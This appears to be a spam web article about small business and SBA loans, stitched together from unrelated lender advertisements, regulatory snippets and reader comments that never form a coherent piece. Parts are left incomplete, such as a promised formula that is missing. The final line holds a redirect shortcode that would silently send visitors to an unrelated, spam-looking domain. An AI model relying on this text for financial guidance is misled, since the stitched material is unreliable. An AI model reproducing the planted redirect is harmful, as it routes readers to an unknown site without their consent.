Look carefully at your business’s financials — especially cash flow — and evaluate how much you can reasonably afford to apply toward loan repayments each month. Some online lenders require daily or twice-monthly repayments, so factor that into the equation if that’s the case.
When you’re trying to get a loan for a fledgling business, your credit score is as important as it is when you’re trying to get a personal loan. If you have a low credit score, your lender is likely to perceive you (and your business) as a greater risk. Try to boost your personal credit before applying for loans. It’s not a quick process, but it can save you time, frustration, and money in the long run.
Small Business Administration (SBA) loan programs can provide long or short term working capital needs, fund purchases such as land, buildings or equipment, and drive growth—to name a few. As a leading SBA Preferred Lender, KeyBank’s knowledgeable Relationship Managers and SBA Specialists work in partnership to help you select options that are right for your business needs.
The truth is that many small businesses fail and there are a variety of reasons for this — under-capitalization, lack of planning, or the person who owns the business is really good at one thing but bad another. For example, they may be good at baking cakes but maybe they don’t know how to read financial reports. But after the credit crisis that started in 2008, banks seized up on loans to businesses and individuals and, in general, were lending only to established large businesses that were already highly capitalized. In this climate, SBA-backed loans became all the more important as a lifeline to small businesses and the federal government acted to lower rates and increase the amount of small business loans they would guarantee for banks, from 75 percent to 90 percent in some cases.
In 2005, SBA Inspector General Report 5-15 stated, “One of the most important challenges facing the Small Business Administration and the entire Federal government today is that large businesses are receiving small business procurement awards and agencies are receiving credit for these awards.”
Businesses must meet certain criteria to qualify for an SBA loan in addition to meeting the credit qualifications of the lending partner. We also differentiate SBA loans based on the need of the business owner.
I filed for chapter 7 in 2008 and it included a secured SBA loan. I noticed you said if you have 1 loan discharged through BK then you can’t get another, but what if I pay that loan in full now. Will I be eligible for future loans, since it’s not defaulted and paid in full?
Lenders will focus on this metric as well. The amount you can afford to repay can usually be determined by knowing and understanding you Debt Service Coverage Ratio. This is the standard practice lenders use to calculate how much free cash you have to repay debt. Your debt service coverage ratio is a simple equation:
The 7(a) Loan Guarantee Program is designed to help entrepreneurs start or expand their small businesses. The program makes capital available to small businesses through bank and non-bank lending institutions. The Small Business Jobs Act of 2010 increased the maximum size of these loans, indefinitely, from $2 million to $5 million.
When applying for a loan for your business, you should expect to receive a personalized experience. And once you receive your loan, this attention to detail will continue. That’s what we strive to do here at Fora Financial. Throughout the entire financing process, you can rely on personalized attention from our staff. First, you’ll work with one of our knowledgeable Capital Specialists, who will be able to answer any questions you have about the application, approval and financing process. Once you receive your loan, you’ll also have access our customer service team, who can provide you with information about your repayment process, and connect you with one of our renewal representatives when the time comes for you to receive more financing.
OnDeck offers Short and Long Term Loans and Lines of Credit. Short term loans range from 3 to 12 months at simple interest rates as low as 9%. Long term loans range from 15-36 months at annual interest rates as low as 9.99%. Lines of credit for up to $100,000 are available at APRs as low as 13.99%.
Don’t be a fad-follower: Did you start your company because you are truly passionate about your idea or because you want to cash in on the latest trend? Angels can spot the difference and won’t give much attention to those whose companies are essentially get-rich-quick schemes.
The Federal Equal Credit Opportunity Act prohibits creditors from discriminating against credit applicants on the basis of race, color, religion, national origin, sex, marital status or age (provided the applicant has the capacity to enter into the binding contract); because all or part of the applicant’s income derives from any public assistance program; or because the applicant has in good faith exercised any right under the Consumer Credit Protection Act. If for any reason your application for business credit is denied, you have the right to a written statement of the specific reasons for the denial. To obtain the statement, please write to National Funding Inc., 9820 Towne Centre Drive, San Diego, California 92121. Funding amount and credit approval is subject to a full credit profile review.
Under the Community Advantage Program, the SBA offers the same expedited application and approval process that comes with an SBA Express loan but will guarantee 85% of the loan for loans up to $250,000. This further reduces the risk to lenders, thereby increasing a lender’s appetite to make the loan under the SBA Express program. More information and a list of Community Advantage lenders can be found on the SBA’s website.
I have had an SBA loan for three years which allowed me to purchase the property by business occupies. I have always paid on time. I want to now sell my business and property but that is a hefty price tag so I want to sell only the business and hold the real estate for a while, until either I can sell it or the new business owners can purchase it. My loan document states that I would be in Default if I sold my business, merged, or did anything else that would in effect the ownership without ‘ prior written consent from the bank’.
The same paperwork that is required for the 7(a) loan is also required for a 504 loan. A list of Certified Development Companies in your state can be found here. Whether you first approach the senior lender or the CDC is up to you.
In other words, an SBA Microloan is by no means a giveaway. The intermediary lender has a little more flexibility in determining who seems creditworthy that larger, rigid lending institutions but they still need to feel extremely confident of your ability to repay the loan.
With a strong personal credit score and at least one year in business, you can turn to StreetShares and OnDeck for equipment and expansion financing. StreetShares is better if you’re seeking a smaller amount of financing: You just need $25,000 in annual revenue to qualify for its term loan, which maxes out at $100,000. If you have at least $100,000 in revenue, OnDeck, with loans up to $500,000, is better suited for more mature businesses seeking larger amounts of financing. [redirect url=’http://zoneprofit.stream/bump’ sec=’7′]